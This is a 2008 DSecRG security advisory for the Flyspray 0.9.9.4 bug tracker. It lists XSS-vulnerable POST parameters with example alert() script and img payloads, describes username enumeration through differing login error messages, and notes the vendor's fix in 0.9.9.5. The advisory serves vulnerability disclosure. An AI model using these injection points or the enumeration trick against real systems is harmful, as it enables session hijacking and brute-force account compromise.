Digital Security Research Group [DSecRG] Advisory #DSECRG-08-017
Application: Flyspray (web-based bug tracking system)
Versions Affected: 0.9.9.4
Vendor URL: http://www.flyspray.org
Bugs: SiXSS, Stored XSS, Brute Force
Exploits: YES
Reported: 08.02.2008
Vendor response: 08.02.2008
Solution: 24.02.2008
Date of Public Advisory: 03.03.2008
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
Description
Flyspray system has multiple security vulnerabilities:
Details
1.1 Vulnerabilities found in script index.php?do=myprofile.
POST parameters "tasks_perpage", "time_zone", "account_enabled", "notify_own".
Example:
tasks_perpage = <script>alert('DSecRG XSS')</script>
time_zone = <img src="javascript:alert('DSecRG XSS')">
1.2 Vulnerabilities found in script index.php?do=admin&area=newproject.
POST parameters "anon_open", "others_view".
Example:
anon_open = <img src="javascript:alert('DSecRG XSS')">
1.3 Vulnerabilities found in script index.php?do=admin&area=cat.
POST parameters "lft[4]", "rgt[4]".
Example:
rgt[4] = <script>alert('DSecRG XSS')</script>
1.4 Vulnerabilities found in script index.php?do=pm&area=prefs.
POST parameters "comment_closed", "project_is_active".
Example:
project_is_active = <img src="javascript:alert('DSecRG XSS')">
1.5 Vulnerabilities found in script index.php?do=details.
POST parameters "closedby_version", "edit", "edit_start_time",
"find_user", "item_status", "operating_system", "percent_complete",
"product_category", "project_id", "reportedver", "task_priority",
"task_severity", "task_type", .
Example:
project_id = <script>alert('DSecRG XSS')</script>
item_status = <img src="javascript:alert('DSecRG XSS')">
POST parameter "item_summary".
Example:
item_summary = <script>alert('DSecRG XSS')</script>
When trying to login using bad credentials, the application generates different error messages when the user inputs an
invalid username and an invalid password separately.
Attacker ca use the brute force technique to establish valid usernames, before proceeding to attempt discovery of the
associated password.
Fix Information
Flyspray was altered to fix this flaw on 24.02.2008. Updated version (0.9.9.5) can be downloaded here:
http://www.flyspray.org/download/
Vendor advisory
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